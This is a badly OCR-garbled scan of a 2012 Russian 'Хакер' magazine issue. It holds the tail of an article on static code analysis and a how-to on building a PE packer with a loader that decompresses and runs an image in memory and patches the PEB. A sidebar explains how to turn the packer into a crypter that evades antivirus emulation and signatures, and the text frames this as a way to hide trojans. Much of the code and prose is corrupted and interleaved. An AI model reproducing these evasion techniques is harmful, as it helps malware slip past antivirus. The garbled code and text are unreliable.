diff: Coccinelle переводится с франц у зского как « божья коровка » (bug that eats another bugs) . Документация на « коровку » довольна разрозненная, поэтому, чтобы понять , как писать на SmPL, при
diff --- leak.c +++ /1;тр! cocci.-o.utput - 11639 -4с48dS -leak. с @@ -2,12 +2,18 @@ iпtmаiл(iпt argc, char* ~ .i!rgv) { . char * рагат; __ . раГё!11) = mаЦ,gц25i7); .... if ..(рагат == .. NULL) { return 1;
дется пройти небольшой квест. Но оно того стоит. В пользу этого
говорит хотя бы количество багов, найденных в коде по
Linux [судя
bit.ly/dlggI6 , оно достигает нескольких сотен) .
ЗАКЛЮЧЕНИЕ Итак, каковы общие рекомендации по поиску ошибок с помощью ин с трументов для статического анализа? Первым делом проверь свой код при максимальном уровне предупреждений компилятора
(то есть указывай не только
if (argc< 2) { return 1; } j [ ..., . .
-Wall) . По возможности лучше ис
пользовать для проверки несколько компиляторов (например,
intel, clang). Далее в с ё зависит от языка. Если это С++, то выбор бесплат ных инструментов достаточно ограничен (С++ тяжело разбирать;
using .p<lr"m
fr.e.!~(param); ...
вероятно, ситуацию улучшит возможность писать плагины для
re,t.urn 8;
GCC). Определенно стоит попробовать Cppcheck, который особенно х орошо на х одит утечки памяти. ДЛЯ С++ также есть Dehydra, но для
Минусы эдесь служат только для выделения участков кода, кото
чистого С ситуация получше . Есть отличный инструмент
нее, скорее всего , придется писать проверки самостоятельно . Для
рые нас интересовали в патче (там мы отмечали и х символом
SmPL
«*»).
имеет много других интересны х возможностей, напри
есть
Frama-C.
Coccinelle,
Они умеют находить определенные типы утечек
памяти , вы х одов эа границу и прочие ужасы. Однако для поиска
мер, позволяет задавать зависимости между правилами (применяй такое-то правило, только если выполнено такое-то), обеспечивает
нетривиальны х ошибок недостаточно просто натравить на код эти
интеграцию с
для статического анализа). Нужно либо писать свои проверки,
Python
и т. д. Более подробно о них можно узнать
на официальном сайте coccinelle (bit.ly/1Z3wXP ). Также на основе
coccinelle создано
Coccicheck содержит
несколько других программ.
набор готовых правил, которые ищут сле
дующие популярные ошибки:
ХАКЕР
02 / 157/2012
либо специальным обра з ом настраивать сам анализатор. С другой стороны, опыт статического анализа показывает, что наиболее часто встречаются именно тривиальные ошибки, которые успешно отлавливают инструменты статического анализа
« из коробки » . Поэтому проверить свой код статическим анализато
разыменование нулевого указателя;
сравнение указателя с нулем вместо
инструменты (как и большинство других продвинутых программ
NULL;
ром
-
это х орошая идея.
::J:
093
КОДИНГ
PeterandtheWolf
Исходный код и бинарники к этой статье ищи на нашем
функции
После выполнения
DVD.
в эагруэчике
LoadExecutabIe неплохо было бы освободить память, выделенную ДЛЯ распаковки,
-
нам больше не пригодится.
~-паке-РАЗРАБАТЫВАЕМ
свой УПАКОВЩИК ИСПОЛНЯЕМЫХ
ФАЙЛОВ
Мы с Волком давно заметили, что разработка РЕ-пакеров, крипторов и навесных защит это почему-то удел немногих. Самого разного
рода троянов в инете целая куча, а софта для упаковки и скрытия от антивирусов кот
наплакал . При том, что код-то там несложный, просто сорцов в паблике, от которых можно
было бы отталкиваться при разработке своего стаффа, как-то не наблюдается. Мы решили
исправить эту досадную ситуацию. Сейчас мы расскажем, как написать свой несложный упаковщик исполняемых файлов и научить его паре дерзких приемов.
авным-давном, когда
Windows
хр еще не было , в поисках
информации о пакерах мы с Волком забирались в самые дебри исходников тогда еще молодого
UPX.
НО то ли аце
тилхолина у нас в мозгах синтезировалось меньше нужного, то ли
UPX уже
тогда был очень занудным
-
в общем, мы почти ничего из
тех сорцов не извлекли. Мэтт Питрек, и тот помог больше . Сейчас
с инфой значительно проще стало. Почти всё есть. Даже сорцы
вполне себе нормального банковского троя можно скачать IZeus 2.0.8.9, bit.ly/v3EiYPI. Да чего уж там, сорцы винды уже давно в паблике IWiпdоws 2000, bit.ly/rBZICyl. Об упаковщиках информация тоже есть, но в основном ис
следовательская, непосредственно разработки касающаяся не с той стороны , с которой нам бы хотелось. Отличным примером тому
является статья « Об упаковщиках в последний раз » Ibit.ly/vRPCxZ,
О"
она
HOW-TO:
РЕ-па кер
> _· ..... _ .1.000 .· 1_ 1_ J ...I_, 1,( .1.. _ _ . ........ ""' ........ " " . _ , '-'
С
____
-А_
.
_",-" _· __ Wl,
C_.-"""AJIМO-c_.
.'1-· ...·.-...1 .' 8-11 _,,,,,_' <1'1111 _
'" ~~(
.... . _
••
•
r-J_.(II8.I I .С _ J_·
..... _
' _· ........ Iм ' ........ _ ..ц
_
.. }(
...l j,
....._...,MW),
:;,,~~:..-:-{::Oj ===:i"~~:=~~ ..;:.j~.I
Создание хедера с помощью
КУСОК кода парсера таБЛИЦbl импорта
bin2h можно автоматизировать
Ыt.lуLtSUхТ7 ! в двух частях, написанная небезызвестными гуру
Volodya
и
NЕОх.
поиска эависят от того, как упаковщик имплантировал этот массив в загрузчик.
Например, если бы он просто добавил новую секцию с данными,
Мы, в свою очередь, постараемся максимально конкретно и по следовательно дать информацию именно о разработке простейше
то поиск выглядел бы так :
го, но легко модифицируемого под любые свои ну жды РЕ-пакера. П9ИСК СЖiпgго 09p,iI;!a в IJQследнеЙ. секци.!!
АЛГОРИТМ Вот есть у нас, например,
1/ notepad.exe. В 60 Кб. Мы
ном виде он весит где-нибудь
...
Получа.ем аДРеС начал" PE-З"Г.Qловка...з.агрузч.ика в П"МflТИ
обычном своем 32-бит
HMODUL.E.. hModule",.
хотим его существен-
PlМAGE_QQS_HEADERpDosHeader
GеtМоdulеНалdJе (NUL.L)~
Какими должны быть наши действия? Ну, для начала мы наш
= .. (PlМAGE_DQS_HEA!IER) hMo.Q.y}e; PIMAGE_NJ_HEADERS. pNTHea.ders = .. MakePtp(PIM/IG.E_NT_HEADERS, hMogule, pD.QsHeaderc>e_l f,щеw);
файлик от первого до последнего байтика прочтем в массив.
РIМАGЕ_SЕС;ПОN_НЕАDЕR р,sесtiопs . =
но уменьшить, сохранив при этом всю его функциональность.
Теперь мы можем делать с ним всё что угодно. А нам угодно его
IMAGEJIRST_SЕСПОN( p-t.JТНеаdеJ"S);
с жать . Берем его и отдаем какому-нибудь простому компрессору,
и Структура,
в результате чего получаем массив уже не в
загрузчика
в
20
60
Кб, а, например,
Кб. Это круто, но в сжатом виде образ нашего « Блокнота»
это просто набор байтов с высокой энтропией, это не экзешник, и
ОIJ.ИСblваЮЩ<jЯ ПЩ!lеднюю секцию нашего .
PJt-1AGЕ_SЕСПОN_НЕАDЕRРLi!StSесtigп = ... &рSесtiопs [pNTJ!eaqerS.7.?FiletJei!d.e r. NLJml:1erOfSecJions -...11;
его нельзя запустить, записав в файл и кликнув. Для массива со
сжатым образом нам нужен носитель [загрузчикl, очень малень кий исполняемый файл, к которому мы прицепим наш массив и который его разожмет и за пустит. Пишем носитель, компилируем, а затем дописываем к нему в конец наш сжатый «Блокнот». Со ответственно, если полученный в результате всех действий файл
.наЙдеННblЙ.. образ .... PQPi!ckedIl!1age ."'...~.a.kePt.rCLPE!YT.E,...bMQdul!~, . .. рLаst,5J!сtiоп-..>V;irtUillAddrеs~); I L. .. Ero р"эмер QWORD dWl"ackedImageSize = рLаs:t.Sесt.iQл с >SizеQfRаwQа:t.iI~
/.l
Собст:венно~
"РВУТЕ
[размер которого немного больше, чем у просто сжатого «Блокно
та » lзапустить, он найдет в себе упакованный образ, распакует,
Но, на наш с Волком взгляд, этим кодом в загрузчике можно пожертвовать. Вообще, всё, что может сдела ть упаковщик, пусть
распарсит его структуру и запустит.
Как видишь, нам предстоит автоматизировать не слишком
сложный процесс. Нужно будет просто написать две программы, загрузчик и, собственно, упаковщик.
он и только он и делает. Адрес образа в адресном пространстве за грузчика можно вычислить заранее, при упаковке, а потом просто
вписать в нужное место. Для этого оставляем в нашей программе
Алгоритм работы упаковщика:
две метки:
считать РЕ-файл в массив; сжать массив каким-нибудь алгоритмом сжатия без потерь;
LPBYТE р.QрасkеdI[Паgе
в соответствии с форматом РЕ дописать сжатый массив к
DWORD
=
(J.PBYТE) ~xDEAD.6.~EF ;
dIYPackedlm.<jgeSi.~.e... =
exBEJ;f<::ACE ; ....
шаблону-загрузч ику. Когда упаковщик будет имплантировать в загрузчик массив со Алгоритм работы загрузчика:
сжатым образом, он пройдется сигнатурным поиском по телу за
найти в конце себя массив со сжатым РЕ-файлом;
гр узчика и заменит
разжать его;
-
распарсить заголовки РЕ-файла, расставить все права, выде
OxDEADBEEF на
адрес массива, а
OxBEEFCACE
на его размер.
Теперь, когда мы определились, как искать адрес, можно вы брать готовую реализацию алгоритма сжатия для использования в
лить память и в итоге запустить.
нашем упаковщике.
Начнем разработку с загрузчика, так как именно им впослед
Неплохой вариант -
использовать
aplib [www.ibse nsoftware .
сот !, маленькую библиотеку с аккуратным и очень компактным
ствии будет манипулировать упаковщик .
кодом, реализующую сжатие на базе алгоритма Лемпеля-Зива
ЗАГРУЗЧИК Итак, первое, что должен сделать наш загрузчик,
-
это найти в
своем теле адрес массива со сжатым образом РЕ-файла. Способы
ХАКЕР
02/157/2 01 2
[LZ!.
И мы обязательно его выбрал~ бы в любой др у гой день, однако сегодня у нас настроение для еще более простого и компактного решения
-
встроенных в
Windows
функций!
095
кодинг
Начиная с ХР, наша любимая
ntdll .dll
начала экспортировать две
fL. .. f'.<!!;л<!КQ.I;I!>I.I;I<!.I!! ..................................._....................._........................ .............
прекрасные функции:
~НQе.сQ.I!lрпs~.6у.ff.еr..(с.Q!1"-R.Еs.5.IQN_ЕQR!1А:с.~(;Nл,................................
NI,$ЛШ,J.$...R:tJJ~.Q!!Iрг.~~.~fj.Уf.f~.r.( ..........................................................................
...... R-рJm.<lg~.,....gwJm.<!gй~mR$J;;:.е., .................................... ........ P..QP.iI!;.~e9.Imi!ge.~ ... P.W".<!!;.K~.cjIl1!qge..$.;j,.?;~., .... ... МI1iImi!g~.5.;j,д).;. .........................................
.... _~-'J. ....... !J.sl:I.QJП...сQ-'JJр.r~.~~JQлf'.Qгm<!.tМр.Е.пg~л~~ .................................... ..... _з,п ....... Р.J,J.сJ:!Ав... J,Jдс.Qmрг.е.~.~~.c;J6.Уf.f~.r , ....................................... .... _~л ......J.!!.QN.G.. 1Jдс.Qmр.r.~.~.~.~g.еуff~.r5J~.~, .............................. .... _ QJ.l1; ..... Р.щ:J:!АR ...сQ-'!!R-r~.~~.е.!шу.ff~.r~ ........................................ ..... _tn ..... LI.~QN.G .. сQЛ!р.r~.~~~g.е.ч.ff.е.r.5.~.<:.е~ ........................._ ..................... .... _j,л ........I..!!.QNG...l..!n.с.Q!!Iрг.~~.~е.gс.Ь!JJ1~.$.i.<:е,................................................ .... _Qуt ....1'.I..!!.QNG .. .Еj,JJ.<!J.СQmр.r.е.~ .~.~9.$.tl-е., .................................................... ....._j,л ..... Р.I,I.Q;J;I1 ...wшk.$.рiК~ ...................................................................... )..;......................................_...................•..............•......................................... NI5.T,;IJ.J.S.. .R:t.],P.e.c.Q!!Ipr.~~~6.yf.fe.r.c. ......................................._. ............... _ .. ....._;iл ....... !J.sI:IQRI...сQлJR-r.~.~.~J Qлf.Qг.m<!.t, ................................. .... _Qу.t .. -.!'lю:tА.R. ..I..![].с.Qmр.r.~.~.~~g.е.уf.f~.r , ........................................... ..... _.:i.л ..... I..!!.QNG...I..!О'с.QmR-r~.~.:;.еg.е.уff.еr.,$J.~.~~_............................._ ..... _ ..... . .. _iп .. J'I,КН8К ..сQл!р.rе.~~.~gI\!J.ff.еr:J......................................................... .. _iп .... I..!~.QN.G...CQroP.r~.~.~.~gI!!J.ff~r.S j,.ze, ...................................................... ... _Q.y:t .. J)u.kQNG.. J Jл.<l.ш!КQ!!Iрг.~.~.~е.g,$J~.~ .................................................
_
}; ........ - ......................................................................................... .........•.. ... _
Названия их говорят сами за себя
_
-
одна функция для ком
Пара метр
COMPRESSIONJORMAT_ LZNT1
означает, что мы
хотим использовать классическое LZ-сжатие. Функция умеет
сжимать и другими алгоритмами [bit .ly/sV9SVu ), но нам хватит и этого .
Теперь у нас в памяти [pbImagel есть сырой образ РЕ-файла . Чтобы его запустить, нужно провести ряд манипуляций , которые обычно делает нативны й РЕ-загрузчик
Windows.
Мы сократим
список до самых-самы х необходимых :
1. Разместить начало образа [хедеры) по адресу, указанному в поле Image Base опционального заголовка [OPTIONAL_ HEADERI . 2. Разместить секции РЕ-файла по адресам, указанным в табли це секций . з. Распарсить таблицу импорта , найти все адреса функций и вписать в соответствующие им ячейки.
Естественно , стандартный РЕ-загрузчик выполняет целую
прессии, другая для декомпрессии . Конечно , если бы мы разра
кучу других действий, и тем , что мы их отметаем, мы огра
батывали действительно серьезный продукт, мы бы эти функции
ничиваем совместимость нашего упаковщика с некоторыми
не трогали, ведь остались еще компьютеры и с
Windows 2000, и даже с NT 4.0 ;), но для наших скромны х целей RtlCompressBuffer\ RtlDecompressBuffer вполне подойдут. В х едера х Platform SDK этих функций нет, статически мы и х
РЕ - файлами. Но для абсолютного большинства хватит и эти х действий
-
можно не фиксить релоки , фиксапы и прочую редкую
и противную фигню . Если вдруг тебе захочется серьезной совместимости, ты или
прилинковать не сможем, поэтому придется воспользоваться
сам напишешь крутой РЕ-лоадер , или найдешь в Сети наибо-
GetProcAddress:
лее полную его реализацию
-
нам с Волком было лень писать
свою, и мы воспользовались трудами gr8 из hellknights Qпр.~деl!.~Н.I!~...<!др.е.!;.ё;!... фу!:l.[';цl!lI... дl!II .. Р..i!~.П<!1.(9.1;I[';.1! .....................
11 .. QП~.с~IВа~~_ .. !J.~Р..~~.~Н.I:I.}I!!!.J~.tJ.Dе.срлlрr:е.~sВ!J.ff~г.. 'Пш.i! ................... «фунКц."'я ...с ...ще.с:г.~!9... !J.i!р.i!~.~I.P.<!МI! »................................................................ QW.QI1Q... (_~.tgc.<lJl ...·.R:tJQ.~!;.Q!!Ipr.~:;.~fj.yf.fe.r. } ................................................ .. .. .( .1) !,QN.G.JР'\(QЩ,ш'QNG,l'.\(9.IР.,J,J.!.9.NG.,. РJ.!.~.QN.G ).;..................................
[.bl1JyL
tc65cB ) выкинув из нее всё, что не поняли;l. Даже в урезанном виде функция РЕ-лоадера - это строчек сто, не меньше, поэтому здесь мы при ведем только ее прототип [полный код лежит на диске): tit19.Р.J.!!.I ...kР.i!9J.J.<.ещt.<l.RJе....( ~Р..еуп .. Jl)lj!ge., ......................................•....
1/.. Пр"'с;~.i!!Н!ё;I.~~.. J~.Й. ...ё;!АРе.с....R:tlР.е!;Qroр.r:~.~~.Е!J.I.ff.~г... ~..л.tg.ц.,gJJ...... . сЕ/J.~РRQс&J.RtlQ~шmр.r.е.~~I\!J.ffеr...,...G.е1;J' r. Q.сМg.се.~.~. ( ....................... .~Q<lcjL.j,.Qr..<I.су.( .':л:t.g1:). .•.g1:).::J., ... : 'R:tJQ~!;Q.roр.r~~~.6.1).ff~r.::. J; ..........
.....QWQ.RP..*. .. Mg.r.e.~:i.QHJJ.1;rye9.iJJ.t} ........................................................._ Она принимает указатель на наш распакованный образ и
возвращает дескриптор загруженного модуля [эквивалент Когда есть чем распаковать и есть что распаковать, можно уже,
наконец, это сделать. Для этого мы выделим память с запасом [так как не знаем объем распакованного файла) и запустим определен
адреса, по которому загружен РЕ-файлl и адрес точки входа [по указателю АddгеssОfЕпtгуРоiпtl . Эта функция делает всё , чтобы правильно разместить образ в памяти, но не всё, чтобы можно
ную выше функцию :
было, наконец, передать туда управление .
QwQJ.ш... cj.wIm.<lg~.$.Jи .,....!:!.;.....................................................................................
груженном нами модуле. Если мы прямо сейчас вызовем точку
Dw.QRD ..ф~~!!Ii!gеI~!!IрsJ~.~ ...=....QwР.i!.с.kеg~.roаЕ.еsJ.!!:е..:'.. JS; ........................ f/ .. Вы.д.еляю Пё;lМЮ;f>.. ЛШ)'... Р.'КI]ё;!1.фванн.ыЙ . QQраз....................................... !.PVOJ:Q R-РII1!.аg.е ...:=... Уir.tJ.l.i!JА!JQ.с ( .. t-jU ~J" , ... gw;J;.I!li!g~J~mp,$J.<:~~. .... _!1~!1_с.Qt1!'1П, .Р.АGсR~АQwRл.Е . 1; ...... .....................................
в х ода , с которой сжатая программа начнет выполнение , то может
Дело в том , что система по-прежнему ничего не знает о за
возникнуть ряд проблем . Работать программа будет, но криво .
Например,
Base
GetModuleHandle[NULL) будет возвращать Image
модуля загрузчика, а не распакованной программы . Функ
ции FiпdRеsоuгсе и
LoadResource
будут рыться в нашем загруз
чике, в котором никаких ресур с ов нет и в помине. Могут быть и более специфические глюки . Чтобы всего этого не проис х одило ,
ДЛЯ СЖАТИЯ УДО&НО &ЫЛО БЫ.
нужно в системных структурах процесса по возможности везде
ИСПОЛЬЗОВАТЬ МАЛЮСЕНЬКУЮ
адреса загруженного модуля.
&И&ЛИОТЕКУ APLIB, НО МЫ ПОСТУПИЛИ ПРОЩЕ И ЗАЮЗАЛИ ВСТРОЕННЫЕ В
ВИНДУ ФУНКЦИИ 096
обновить информацию, заменив адреса модуля загрузчика на
В первую очередь нужно пофиксить РЕВ [Process Enviroment Block), в котором указан старый Image Base . Адрес РЕВ очень легко получить, в юзермоде он всегда лежит по смещению О х3 0 в сегменте
FS.
P.J>J;.6.J)~.Q; ...............................................................
_<! .~.I!l ...{ ...
...........~ .............................................. . ............... R-y:i.b...e.i!.'-'- ............................................................................................ ...................mQу...~.<I.'-'- , ... f.$. .;I!:!х2.е. ] ; ............................. _............................. ........
ХАКЕР
02/157/20 12
HOW-TO:
1313131273 1313131276 1313131277 1313131278 1313131270 1313131282 131301288 1313131289 1зее128F
1313131291 1313131296 1зе0129В
1313131290 1зее129F 1зе1312А6 1зее12АС 1зе012АЕ 1зее12В1 1313е12В2 1зее12В7 131313 12ВС 1зее12С1 1зее12С2 13131312С4 13131312С6 1зее12С9 1зее12СА 1зе1312СВ
13131312013 1313131203 1313131208 1313131200
13130120Е 13131312Е13 13131312Е6 13131312Е8 13131312ЕА 13131312ЕВ
13131312Fl 13131312F4 13131312F5 13131312F8 13131312FB lЭ131312FЕ
13131313131 13131313134 13131313137 13131313139
8ВЕС 83ЕС 13С
EBP.ESP SUB ESP.13C PUSH ESI PUSH ЕОI PrOCNar1eorord [па I = "Rt lDecoMPressBuffer" PUSH tеst.1эе131132С PUSH test.131313113213 = "ntdll.dll" ( FileNaMe CRLL OWORO PTR OS:[(&KERNEL32.LoadLi LoadLibraryR [ hModule PUSH ЕАХ CRLL OWORO PTR ОS:[(&КЕRNЕLЭ2.Gеt GetProcRddress protect = PRGE-RERDWRITE PUSH 4 AllocationType = MEМLCOMMIT PUSH 1131313 Si2e = 31313СЕ212 (81361513674.) PUSH 31313СЕ212 Addr.ess = NULL PUSH 13 MOV EOI.ERX [ MOV OWORO PTR SS:[EBP-4J.13 CRLL OWORO PTR OS:[<&KERNEL32.VirtuaIRI VirtualRlloc MOV ESI.ERX LER ERX.OWORO PTR SS:[EBP-4J PUSH ЕАХ PUSH 13B34F PUSH tеst.1зе131ЭF8 PUSH 31313СЕ212 PUSH ESI PUSH 2 CALL ЕОI LER ECX.OWORO PTR SS:[EBP-CJ PUSH ЕСХ А Г 92 51 АГ91 PUSH ESI 56 CRLL tеst.1зе13113413 test.1313e1e413 Е8 713FOFFFF АОО ESP.8 8ЭС4 138 FreeType = MEМLRELERSE PUSH 8131313 68 131381313131313 Si2e = эе13СЕ212 (81361513674.) PUSH 31313СЕ212 68 12Е2есз13 Rddress • PUSH ESI 56 [ MOV EOI.ERX 8BF8 FF15 еС11313131 CRLL OWORO PTR OS:[(&KERNEL32.Virtua VirtualFree • 85FF TEST EOI.EOI .у74 28 JE SHORT tеst.1зе131312 PUSH ЕАХ 513 64:А1 3131~13131313( MOV ERX.OWORO PTR FS: [Э13J MOV OWORO PTR SS:[EBP-8J.EAX 8945 РОР ЕАХ 58 MOV EOX.OWORO PTR SS:[EBP-8J 8В55 F8 MOV OWORO PTR OS:[EOX+8J.EOI 897А 138 MOV ERX.OWORO PTR SS:[EBP-8J 8В45 F8 MOV ECX.OWORO PTR OS:[ERX+CJ 8В48 13С MOV EAX.OWORO PTR SS:[EBP-CJ 8В45 F4 OWORO PTR OS:[ECX+CJ 8В51 13С 56 57 68 2С1е131313 68 213113131313 FF15 13411313131 513 FF15 131311313131 6А 134 68 131311313131313 68 12Е213С313 6А 1313 8BF8 С745 FC FF15 13811313131 8BF13 8045 FC 513 68 4FB313131313 68 F81313131Э 68 12Е2есз13 56 6А 132 FF07 8040 F4
133С7
[
1
PTR OS:[EOX+18J.EOI PTR SS:[EBP-CJ.ERX PTR SS:[EBP-CJ
897А 18 8945 F4 FF55 F4
Процесс отладки бажного файла в
OllyDbg Вот теперь можно смело вызывать точку входа загруженно
J!1QV Р_ер_, _еюс
го модуля. Он будет функционировать так, словно был вызван
__ рор _ e<;l)<
самым обычным образом.
} /j
hf1Qd_u1e_~
_<;IАРе~ .P-il_СПЭt(QваН_1:I9ГО ~ __ за [руже I:IJ:IPT О -'j_<'",и . РЕ_с._
файла
Ре_Ь- ~;r)Паgе_Ваs_еAdQrе_~s. =
}J.t1PQY.le.; .... _..... .
Также не помешает пофиксить списки модулей в структуре
LDR_DATA, на которую ссылается РЕВ. Всего там три списка: • InLoadOrderModuleList - список модулей в порядке загрузки; • InMemoryOrderModuleList - список модулей в порядке рас
hPVOII>. eГl1;cy .= ДРI(QЩ) {(~BO) hМоQulе...±.. М9геssQf.Елt"Уf'р:!.n:t:}; _ as l!! .. can ..e.t:1t.Cy..;....... _...... . AddressOfEntryPoint -
зто относительный виртуальный
адрес (RVA, Relative Virtual Addressl точки входа, взятый из
optional header в функции LoadE xecutabIe . Для получения абсо лютного адреса мы просто прибавили к RVA адрес базы (то есть
свежезагруженного модуляl.
положения в памяти;
•
РЕ-пакер
InlnitializationOrderModuleList - с писок модулей в порядке
УМЕНЬШЕНИЕ РАЗМЕРА ЗАГРУЗЧИКА
инициализации .
Если наш загрузчик скомпилировать и собрать в Нам надо найти в каждом списке адрес нашего загрузчика и за
менить его на адрес загруженного модуля . Как-нибудь так:
VS 201 О с
флагами по умолчанию, то мы получим не дв ухкилобайтную программку-носитель , а монстра размером более
10
Кб. Студия
встроит туда целую кучу лишнего, а нам надо всё это оттуда вы
/I
Первыt1 ._заГРУ)]<ilеI.СВ_. н_аш
MQM/lb, .. TaK _'iI.p
гре сти.
и по . всему Cn~.(KY n'РОХоlI~ТЬ .!jе .. 9б_!l_З.<~Т.е!J.ЬНО
Поэтому в свойствах компиляции проекта эагрузчика [вкладка
Р LQ!U>!<Т~_IAB hЕ_ЕN1ЯУ
(/(++) мы делаем следующее: • В разделе "О птимизация » 'выбираем «Минимальный размер
Rh_QTEJ11,CY_. =._(f'.L_PB_DATА_Т ABLCENTBY) . iJI1Q.dy),e; _... _... __ ........._..
(РеР- ~J9.r:c ?f1.Qdчl.еЦ~tJQiI_Q.Q.r.::d_еr.,J]__ ~JJk1; рLdrJ;лtrу.с. > DЛ!!iI.sе .. 'О.
[J011 », чтобы компилятор старался сделать все функции более компактными.
ХАКЕР
02 / 157/2012
097
кодинг
--------
Всего перечисленного хватит, чтобы получить лоадер размером
ЕСЛИ БЫ МЫ ИСПОЛЬЗОВАЛИ ГЛОБАЛЬНЫЕ ПЕРЕМЕННЫЕ,
ТО НАМ ТАКЖЕ НАДО БЫЛО БЫ ОБЪЕДИНИТЬ С КОДОМ СЕКЦИЮ .ОАТА •
Там же указываем приоритет размера над скоростью (флаг /Osl . В разделе « Создание кода » выключаем исключения С++, мы их не используем.
Проверка переполнения буфера нам тоже не нужна I/GS-I. ЭТО штука хорошая, но не в нашем случае.
в 1,5 Кб.
УПАКОВЩИК Нам остается разработать консольную утилиту, которая будет сжи
мать отданные ей файлы и при цеплять к лоадеру. Первое, что она должна делать по описанному в начале статьи алгоритму,
Далее наш пакер должен сжать полученный файл . Мы не будем
Отключаем к чертям «Манифест». Он большой, и из-за него в
.rsrc,
которая нам совершенно не
нужна. Вообще, каждая лишняя секция в РЕ-файле -
•
•
это мини
проверять, действительно ли это РЕ-файл, корректные ли у него заголовки и т. п.,
-
всё оставляем на совести пользователя, сразу
сжимаем. Для этого воспользуемся функциями RtlCompressBuffer
мум 512 совершенно ненужных байт, спасибо выравниванию.
и RtIGetCompres·sionWorkSpaceSize. Первую мы уже описали выше
Отключаем создание отладочной информации.
-
Лезем во вкладку « Дополнительно». Выключаем « Внесение
памяти, необходимой для работы сжимающего движка. Будем
случайности в базовый адрес» I!DYNAMICBASE :NOI, иначе лин кер создаст секцию релоков I.relocl.
считать, что обе функции мы уже динамически подключили (как и в
она сжимает буфер, вторая же нужна, чтобы вычислить объем
загрузчикеl, остается только их запустить:
Указываем базовый адрес . Выберем какой-нибудь нестандарт ный повыше, например Ох02000000. Именно это значение будет
возвращать GеtМоdulеНапdlе(NULLI в загрузчике . Можно его даже за х ардкодить.
•
это
HANDL'E hFile = CreateFile(argv[ l J, GENERIC_READ., FILE_SHARE_READ, ..NULL, OI'EN_EXISТING, F~LE_ATTRIBUTE_NQRMAL, NULL); DWORD dwImageSize =. GetFileSize(hFile, 0 ); LPBYTE lpImage = new BYTE[dwImageSize], lpCompressed.Image = new BYТE[dwImageSize]; DWORD dwReaded; ReadFile(hFile, lpImage, dwImageSize, &dwReaded, 0 ); CloseHandle{hFileli
в свойствах линкера (компоновщика): загрузчике создается секция
-
считывать файл в массив. Задача, с которой справится и школьник:
Указываем нашу точку входа, а не СRТ-шную: /ЕNТRУ:WiпМаiп. Вообще, мы привыкли это делать директивой pragma прямо из кода , но раз уж залезли в свойства, то можно и тут.
Остальные настройки для линкера задаем непосредственно из кода:
#pragma comment (linker, "/MERGE: . rdata=. text" ) Здесь мы объединили секцию .rdata, в которой содержатся
данные, доступные только для чтения !строки, таблица импорта и т. п.l, с секцией кода .text. Если бы мы использовали глобаль
DWORD format = COMPRESSION_FORMAT_LZNT~lcOMPRESSION_ENGINE_STANDARD;
DWORD dwCompressedSize, dwBufferWsSize, dw.FragmentWsSize; RtlGetCompressionWorkSpaceSize( fQrmat, &dwBufferWsSize.,. &dwFragmentWsSize); LPBYТE workspace = new ВУТЕ [dwВuffеrWsSЦе]; RtlCompressBuffer(fQrmat, / / тип сжатия и движок lpImage, /1 массив ~Я сжатиЯ dwImageSize, // его размер lpCompressedImage, // буфер ДЛЯ результата dwImageSize, // его размер 4096 , 1/ размер KYCKOB~ не важен &dwCompressedSize~ // указатель наАВОРД .ДЛЯ размера // результата workspace); // буфер ~я работы
ные переменные, то нам также надо было бы объединить с кодом В результате у нас есть сжатый буфер и его размер, можно
секцию .data.
при крутить их к загрузчику . Чтобы это сделать, нужно для начала
#pra.gma comment( linker, "/MERGE: . data=. text" ) / / к .данным из • data нужен доступ на запись~ // а не только на чтение и выполнение #pragma comment(linker~ " /SECТION: • text, EWR" )
скомпилированный код нашего загрузчика встроить в упаковщик.
Самый удобный способ засунуть его в программу -
зто воспользо
ваться утилитой Ып2h ( www. dеаdпоdе.ог g /sw/Ып2h/ l. Она кон вер тнет любой бинарник в удобный сишный хедер, все данные в нем будут выглядеть как-то так :
ПЕРЕДЕЛЫВАЕМ В КРИПТОР Собственно, от криптора наш
недостаточно. Нужно как-то усложнить
Также ключ можно сделать эависимым от
пакер отличает совсем немногое:
эадачу. Например, не прописывать ключ
какой-нибудь неэмулируемой функции или
отсутствие функции шифрования и
хог'а в теле загрузчика. То есть загрузчик
структуры. Только их еще найти надо.
противоэмуляционныхприемов.Самое
не будет знать, каким ключом ему надо
простое, что можно с ходу сделать, это
расшифровывать код, он будет его
добавить хог всего образа сразу после
перебирать в определенных нами рамках. Это
какие-нибудь продвинутые вирусные
распаковки в загрузчике. Но, чтобы
может занять какое-то время, которое есть у
движки для генерации мусора и всяческого
эмуляторы антивирусов пода вились, этого
польэователя, в отличие от антивируса .
видоизменения кода, благо их в Сети навалом.
098
Чтобы код загрузчика не палился сигнатурно, можно прикрутить к упаковщику
ХАКЕР
02/157/201 2
HOW-TO: РЕ-пакер
unsigned int loader_size = 1536; unsigned char loader[] = { 0x4d , 0х5а ,. 0х00 , 0х00 , 0х01 , 0х00 , 0х00 , Скармливаем ей файл с нашим лоадером и получаем всё не обходимое для дальнейших извращений. Теперь, если придер живаться алгоритма, описанного в начале статьи, мы должны
прицепить к загрузчику сжатый образ. Здесь нам с Волком придется вспомнить 90-е и свое вирмейкерское прошлое. Дело в том, что внедрение данных или кода в сторонний РЕ-файл
-
это
чисто вирусная тема. Организуется внедрение большим количе ством разных способов, но наиболее тривиальные и популярные
-
это расширение последней секции или добавление своей
собственной. Добавление, на наш взгляд, чревато потерями при
выравнивании, поэтому, чтобы встроить сжатый образ в наш
загрузчик, мы расширим ему Iзагрузчикуl последнюю секцию. Вернее , единственную секцию -
лишнего
мы же изба вились от всего
;1.
Алгоритм действий будет такой:
Находим единственную секцию I.textl в загрузчике . Изменяем ее физический размер, то есть размер на диске
ISizeOfRawDatal. Он должен быть равен сумме старого разме ра и размера сжатого образа и при зтом выравнен в соответ
Наш упаковщик сжал
nolepad.exe лучше, чем UPX!
ствии с файловым выравниванием IFilеАligпmепtl.
Изменяем виртуальный размер памяти IMisc.VirtuaISizel, при
пt->ОрtiопаlНеаdеr.SizеОflmаgе
= +
бавляя к нему размер сжатого образа.
ALIGN{test->Мisс.VirtuаlSizе
Изменяем размер всего образа загрузчика 10ptionalHeader.
пt->ОрtiопаlНеаdеr.FilеАligпmепt);
SizeOflmagel по древней формуле [виртуальный размер по следней секции] + [виртуальный адрес последней секции], не забывая выравнивать значение по FileAlignment. Копируем сжатый образ в конец секции.
test->VirtuаlАddrеss,
'/ Вычисляем размер получившегося файла DWORD dwNewFileSize = рSесtiопs->SizеОfRаwDаtа + test->РоiпtеrТоRаwDаtа;
Тут есть небольшая хитрость. Дело в том, что наша студия
